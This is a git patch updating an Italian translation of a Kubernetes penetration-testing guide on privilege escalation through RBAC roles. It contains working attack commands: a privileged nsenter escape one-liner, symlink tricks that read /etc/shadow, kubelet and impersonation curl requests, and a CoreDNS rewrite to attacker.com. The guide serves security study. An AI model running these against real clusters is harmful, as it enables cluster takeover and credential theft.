From 42392591d9e0f61bccc62cdd9d10c280cf9dde06 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 12 Feb 2026 12:39:39 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/abusing-roles- --- .../README.md | 286 ++++++++++-------- ...ubelet-authentication-and-authorization.md | 61 ++-- 2 files changed, 186 insertions(+), 161 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 9e2319bf4..470927532 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Abusing Roles/ClusterRoles in Kubernetes +# Abuso di Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} -Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose.\ +Qui puoi trovare alcune configurazioni potenzialmente pericolose di Roles e ClusterRoles.\ Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources` ## **Privilege Escalation** -Si riferisce all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**: +Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**: -- Essere in grado di **impersonare** altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni -- Essere in grado di **creare/patchare/eseguire pod** dove puoi **trovare o allegare SAs** con privilegi migliori all'interno del cluster kubernetes o a cloud esterni -- Essere in grado di **leggere segreti** poiché i token SAs sono memorizzati come segreti -- Essere in grado di **uscire verso il nodo** da un container, dove puoi rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presente) -- Una quinta tecnica che merita una menzione è la capacità di **eseguire port-forward** in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod. +- Essere in grado di **impersonate** altri user/groups/SAs con privilegi maggiori all'interno del cluster kubernetes o verso cloud esterni +- Essere in grado di **create/patch/exec pods** dove puoi **find or attach SAs** con privilegi maggiori all'interno del cluster kubernetes o verso cloud esterni +- Essere in grado di **read secrets** dato che i token delle SAs sono memorizzati come secrets +- Essere in grado di **escape to the node** da un container, dove puoi rubare tutti i secrets dei container in esecuzione sul node, le credenziali del node e i permessi del node nel cloud in cui è in esecuzione (se presenti) +- Una quinta tecnica che merita menzione è la capacità di **run port-forward** in un pod, poiché potresti accedere a risorse interessanti all'interno di quel pod. ### Access Any Resource or Verb (Wildcard) -Il **wildcard (\*) concede permessi su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster +The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -31,11 +31,11 @@ verbs: ["*"] ``` ### Accedi a qualsiasi risorsa con un verbo specifico -In RBAC, alcune autorizzazioni comportano rischi significativi: +In RBAC, certe autorizzazioni comportano rischi significativi: -1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione di privilegi. -2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili. -3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza. +1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando escalation dei privilegi. +2. **`list`:** Permette di elencare tutte le risorse, potenzialmente causando leak di dati sensibili. +3. **`get`:** Consente di accedere ai secrets da service accounts, rappresentando una minaccia alla sicurezza. ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente, aumentando i privilegi. +Un attacker con i permessi per creare un pod può associare un Service Account privilegiato al pod e rubare il token per impersonare il Service Account, scalando di fatto i suoi privilegi. -Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante: +Esempio di un pod che ruberà il token del `bootstrap-signer` service account e lo invierà all'attacker: ```yaml apiVersion: v1 kind: Pod @@ -72,14 +72,12 @@ serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` -### Creazione e fuga del Pod +### Pod Create & Escape -Quanto segue indica tutti i privilegi che un container può avere: - -- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità) -- **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi -- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti -- **Montare gli host / all'interno del container** +- **Privileged access** (disabilitando le protezioni e impostando capabilities) +- **Disable namespaces hostIPC and hostPid** che possono aiutare a ottenere l'elevazione dei privilegi +- **Disable hostNetwork** namespace, permettendo di rubare i privilegi cloud dei nodes e di avere un accesso migliore alle reti +- **Mount hosts /** all'interno del container ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -119,13 +117,15 @@ Crea il pod con: ```bash kubectl --token $token create -f mount_root.yaml ``` -One-liner da [questo tweet](https://twitter.com/mauilion/status/1129468485480751104) e con alcune aggiunte: +One-liner da [this tweet](https://twitter.com/mauilion/status/1129468485480751104) e con alcune aggiunte: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` +Ora che puoi evadere sul nodo, consulta le tecniche di post-exploitation in: + #### Stealth -Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente: +Probabilmente vorrai essere **più stealth**, nelle pagine seguenti puoi vedere a cosa potresti avere accesso se crei un pod abilitando soltanto alcuni dei privilegi menzionati nel template precedente: - **Privileged + hostPID** - **Privileged only** @@ -134,14 +134,14 @@ Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a - **hostNetwork** - **hostIPC** -_Puoi trovare un esempio di come creare/abuse le configurazioni dei pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Puoi trovare esempi su come creare/abuse le precedenti configurazioni di privileged pods in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) -### Pod Create - Move to cloud +### Creazione Pod - Spostarsi sul cloud -Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\ -Inoltre, se puoi creare un **pod con il namespace di rete host** puoi **rubare il ruolo IAM** dell'istanza **node**. +Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando cloud roles a un pod o a un service account e poi accedendovi. +Inoltre, se puoi creare un **pod con il namespace della rete host** puoi **rubare il ruolo IAM** dell'istanza **node**. -Per ulteriori informazioni controlla: +For more information check: {{#ref}} pod-escape-privileges.md @@ -149,7 +149,7 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -È possibile abusare di questi permessi per **creare un nuovo pod** e stabilire privilegi come nell'esempio precedente. +È possibile abusare di questi permessi per **creare un nuovo pod** e **escalare i privilegi** come nell'esempio precedente. Il seguente yaml **crea un daemonset ed esfiltra il token del SA** all'interno del pod: ```yaml @@ -187,34 +187,34 @@ volumes: hostPath: path: / ``` -### **Pods Exec** +### **Esecuzione nei Pod** -**`pods/exec`** è una risorsa in kubernetes utilizzata per **eseguire comandi in una shell all'interno di un pod**. Questo consente di **eseguire comandi all'interno dei container o ottenere una shell all'interno**. +**`pods/exec`** è una risorsa in kubernetes usata per **eseguire comandi in una shell all'interno di un pod**. Questo permette di **eseguire comandi all'interno dei container o ottenere una shell al loro interno**. -Pertanto, è possibile **entrare in un pod e rubare il token del SA**, o entrare in un pod privilegiato, fuggire verso il nodo e rubare tutti i token dei pod nel nodo e (ab)usare il nodo: +Pertanto, è possibile **entrare in un pod e rubare il token della SA**, o accedere a un pod privilegiato, evadere verso il nodo, e rubare tutti i token dei pod nel nodo e (ab)usare il nodo: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Per impostazione predefinita, il comando viene eseguito nel primo container del pod. Ottieni **tutti i pod in un container** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it -c -- sh` +> Per impostazione predefinita il comando viene eseguito nel primo container del pod. Ottieni **tutti i pods in un container** con `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it -c -- sh` -Se si tratta di un container distroless, puoi provare a utilizzare **shell builtins** per ottenere informazioni sui container o caricare i tuoi strumenti come un **busybox** usando: **`kubectl cp :`**. +Se è un container distroless puoi provare a usare le **shell builtins** per ottenere informazioni sui container o caricare i tuoi strumenti come una **busybox** usando: **`kubectl cp :`**. ### port-forward -Questa autorizzazione consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per accedere a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod: +Questo permesso permette di **forwardare una porta locale verso una porta nel pod specificato**. È pensato per permettere di effettuare il debug delle applicazioni che girano all'interno di un pod in modo semplice, ma un attacker potrebbe abusarne per ottenere accesso a servizi interessanti (come DBs) o ad applicazioni vulnerabili (webs?) all'interno di un pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Come [**indicato in questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se puoi accedere o creare un pod con la **directory `/var/log/` dei host montata** su di esso, puoi **uscire dal container**.\ -Questo è fondamentalmente perché quando il **Kube-API cerca di ottenere i log** di un container (utilizzando `kubectl logs `), **richiede il file `0.log`** del pod utilizzando l'endpoint `/logs/` del servizio **Kubelet**.\ -Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'esposizione del filesystem `/var/log` del container**. +As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se puoi accedere o creare un pod con la **hosts `/var/log/` directory mounted** su di esso, puoi **escape from the container**.\ +Questo accade perché quando la **Kube-API tenta di ottenere i log** di un container (usando `kubectl logs `), richiede il file `0.log` del pod tramite l'endpoint `/logs/` del servizio **Kubelet**.\ +Il servizio Kubelet espone l'endpoint `/logs/` che, di fatto, **espone il filesystem `/var/log` del container**. -Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi: +Pertanto, un attacker con **accesso in scrittura alla cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi: -- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo: +- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) in modo che sia un **symlink pointing to `/etc/shadow`**, per esempio. Then, you will be able to exfiltrate hosts shadow file doing: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +222,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Se l'attaccante controlla qualsiasi principale con i **permessi per leggere `nodes/log`**, può semplicemente creare un **symlink** in `/host-mounted/var/log/sym` a `/` e quando **accede a `https://:10250/logs/sym/` elencherà il filesystem root** dell'host (cambiando il symlink può fornire accesso ai file). +- Se l'attaccante controlla qualsiasi principal con i **permessi di lettura di `nodes/log`**, può semplicemente creare un **symlink** in `/host-mounted/var/log/sym` che punti a `/` e quando **accederà a `https://:10250/logs/sym/` elencherà il filesystem root dell'host** (modificando il symlink si può ottenere accesso a file). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -236,21 +236,21 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// ``` **Un laboratorio e un exploit automatizzato possono essere trovati in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -#### Bypassare la protezione readOnly +#### Bypass della protezione readOnly -Se sei abbastanza fortunato e la capacità altamente privilegiata `CAP_SYS_ADMIN` è disponibile, puoi semplicemente rimontare la cartella come rw: +Se sei abbastanza fortunato e la capability altamente privilegiata `CAP_SYS_ADMIN` è disponibile, puoi semplicemente rimontare la cartella come rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Bypassare la protezione hostPath readOnly +#### Elusione della protezione hostPath readOnly -Come indicato in [**questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), è possibile bypassare la protezione: +Come indicato in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) è possibile eludere la protezione: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura: +Questo era pensato per prevenire escape come quelli precedenti, utilizzando, invece di un hostPath mount, un PersistentVolume e un PersistentVolumeClaim per montare una cartella hosts nel container con accesso in scrittura: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,16 +296,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Impersonare account privilegiati** +### **Impersonating privileged accounts** -Con un privilegio di [**impersonificazione dell'utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato. +Con il privilegio [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attacker può impersonare un account privilegiato. -Basta utilizzare il parametro `--as=` nel comando `kubectl` per impersonare un utente, o `--as-group=` per impersonare un gruppo: +Basta usare il parametro `--as=` nel comando `kubectl` per impersonare un utente, oppure `--as-group=` per impersonare un gruppo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Oppure usa l'API REST: +Oppure usa la REST API: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -313,15 +313,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Elencare i segreti +### Elencare i Secrets -Il permesso di **elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti** accedendo all'endpoint API REST: +Il permesso di **list secrets potrebbe consentire a un attacker di leggere effettivamente i secrets** accedendo al REST API endpoint: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Creazione e Lettura di Segreti +### Creazione e lettura dei Secrets -Esiste un tipo speciale di segreto Kubernetes di tipo **kubernetes.io/service-account-token** che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso: +Esiste un tipo speciale di Kubernetes Secret di tipo **kubernetes.io/service-account-token** che memorizza i token dei serviceaccount. +Se hai i permessi per creare e leggere i Secret, e conosci anche il nome del serviceaccount, puoi creare un Secret come segue e poi rubare il token del serviceaccount vittima da esso: ```yaml apiVersion: v1 kind: Secret @@ -332,7 +333,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Esempio di sfruttamento: +Esempio exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -380,17 +381,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi anche in quel namespace. +Nota che se sei autorizzato a creare e leggere secrets in un determinato namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace. -### Lettura di un segreto – forzatura dei token ID -Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di _**elencare segreti**_, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +### Lettura di un secret – brute-forcing token IDs -Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di forza bruta per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili. +Sebbene un attaccante in possesso di un token con permessi di lettura richieda il nome esatto del secret per usarlo, a differenza del privilegio più ampio di _**listing secrets**_, esistono comunque delle vulnerabilità. I Default service accounts nel sistema possono essere enumerati, ciascuno associato a un secret. Questi secret hanno una struttura del nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). + +Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), invece dell'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe realisticamente eseguire un attacco brute-force per dedurre il token in poche ore, portando potenzialmente a un'elevazione dei privilegi accedendo a service accounts sensibili. ### EncrpytionConfiguration in chiaro -È possibile trovare chiavi in chiaro per crittografare i dati a riposo in questo tipo di oggetto come: +È possibile trovare chiavi in chiaro per cifrare i dati a riposo in questo tipo di oggetto, per esempio: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -447,13 +449,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### Richieste di firma del certificato -Se hai il verbo **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo nodo.** +Se hai il verbo **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`), puoi **creare** un nuovo CeSR di un **nuovo nodo.** -Secondo la [documentazione è possibile approvare automaticamente queste richieste](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), quindi in quel caso **non hai bisogno di permessi extra**. Se no, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in `certificatesigningrequests/approval` e `approve` in `signers` con resourceName `/` o `/*` +Secondo la [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), quindi in quel caso **non ti servono permessi aggiuntivi**. Se non è così, dovrai essere in grado di approvare la richiesta, il che significa avere update su `certificatesigningrequests/approval` e `approve` su `signers` con resourceName `/` o `/*` -Un **esempio di un ruolo** con tutti i permessi richiesti è: +Un **esempio di role** con tutti i permessi richiesti è: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -484,19 +486,19 @@ resourceNames: verbs: - approve ``` -Quindi, con la nuova CSR del nodo approvata, puoi **abuse** delle autorizzazioni speciali dei nodi per **steal secrets** e **escalate privileges**. +Quindi, con la nuova node CSR approvata, puoi **abuse** le autorizzazioni speciali dei node per **steal secrets** e **escalate privileges**. -In [**questo post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**questo**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configurazione del GKE K8s TLS Bootstrap è configurata con **automatic signing** e viene abusata per generare credenziali di un nuovo nodo K8s e poi abusare di queste per escalare privilegi rubando segreti.\ -Se **hai i privilegi menzionati potresti fare la stessa cosa**. Nota che il primo esempio bypassa l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un **nodo può accedere solo ai segreti dei contenitori montati su di esso.** +Nei [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la GKE K8s TLS Bootstrap configuration è impostata con **automatic signing** ed è abusata per generare le credenziali di un nuovo K8s Node e poi sfruttare quelle per escalate privileges rubando secrets.\ +Se **hai i privilegi menzionati potresti fare la stessa cosa**. Nota che il primo esempio aggira l'errore che impedisce a un nuovo node di accedere ai secrets all'interno dei containers perché un **node can only access the secrets of containers mounted on it.** -Il modo per bypassare questo è semplicemente **creare una credenziale del nodo per il nome del nodo dove il contenitore con i segreti interessanti è montato** (ma controlla solo come farlo nel primo post): +Il modo per aggirare questo è semplicemente **create a node credentials for the node name where the container with the interesting secrets is mounted** (ma vedi come farlo nel primo post): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap **aws-auth**.\ -I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato: +I principals che possono modificare **`configmaps`** nel namespace kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di cluster-admin sovrascrivendo il configmap **aws-auth**.\ +I verbi necessari sono **`update`** e **`patch`**, oppure **`create`** se il configmap non è stato creato: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -536,18 +538,18 @@ groups: - system:masters ``` > [!WARNING] -> Puoi usare **`aws-auth`** per la **persistenza** dando accesso agli utenti di **altri account**. +> Puoi usare **`aws-auth`** per **persistence** concedendo accesso a utenti da **altri account**. > > Tuttavia, `aws --profile other_account eks update-kubeconfig --name ` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\ -> Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS. +> Per far funzionare `kubectl`, assicurati solo di **configurare** la **kubeconfig della vittima** e negli aws exec args aggiungi `--profile other_account_role` così kubectl utilizzerà il profilo dell'altro account per ottenere il token e contattare AWS. ### CoreDNS config map -Se hai i permessi per modificare il **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per **rubare informazioni sensibili o iniettare contenuti malevoli**. +Se hai i permessi per modificare la **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini vengono risolti per poter eseguire attacchi MitM e **rubare informazioni sensibili o iniettare contenuti malevoli**. I verbi necessari sono **`update`** e **`patch`** sul **`coredns`** configmap (o su tutte le config map). -Un normale **file coredns** contiene qualcosa del genere: +Un normale **coredns file** contiene qualcosa del genere: ```yaml data: Corefile: | @@ -577,58 +579,75 @@ reload loadbalance } ``` -Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` in modo che ogni volta che si accede a `victim.com`, in realtà si accede al dominio `attacker.com`. E poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`. +Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` così ogni volta che viene consultato `victim.com` in realtà sarà il dominio `attacker.com` ad essere raggiunto. Poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`. -Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportando modifiche. +Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportare le modifiche. ### Escalation in GKE -Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo). +Esistono **2 modi per assegnare permessi K8s ai principals GCP**. In ogni caso il principal ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il collegamento successivo). > [!WARNING] -> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\ -> Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**. +> Quando si parla con l'endpoint API K8s, il **GCP auth token verrà inviato**. Poi, GCP, tramite l'endpoint API K8s, controllerà prima **se il principal** (tramite email) **ha accesso all'interno del cluster**, poi verificherà se ha **accesso tramite GCP IAM**.\ +> Se **uno** di questi è **vero**, l'accesso verrà **concesso**. Se **no**, verrà restituito un **errore** che suggerisce di assegnare **permessi tramite GCP IAM**. -Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli. +Il primo metodo è usare **GCP IAM**: i permessi K8s hanno i loro **equivalenti permessi GCP IAM**, e se il principal li possiede potrà usarli. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP). +Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (incluse le service account GCP). -### Creare token serviceaccounts +### Creare token per serviceaccounts -Principi che possono **creare TokenRequests** (`serviceaccounts/token`) Quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +I principal che possono **create TokenRequests** (`serviceaccounts/token`) quando parlano con l'endpoint API K8s SAs (info da [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato. +I principal che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **fare breakout** verso il nodo aggiungendo un ephemeral container con un securityContext privilegiato. ### ValidatingWebhookConfigurations o MutatingWebhookConfigurations -Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**. +I principal con uno qualsiasi dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di tali webhookconfigurations** al fine di **escalare privilegi**. -Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller). +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### Escalate +### Escalare -Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate` o `*`** su **`roles`** o **`clusterroles`** e le rispettive opzioni di binding.\ -Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha. +Come puoi leggere nella sezione seguente: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principal non può né aggiornare né creare roles o clusterroles senza possedere già quei permessi. Tranne se ha il **verbo `escalate` o `*`** su **`roles`** o **`clusterroles`** e le opzioni di binding rispettive.\ +Allora può aggiornare/creare nuovi roles, clusterroles con permessi migliori di quelli che possiede. ### Nodes proxy -Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo 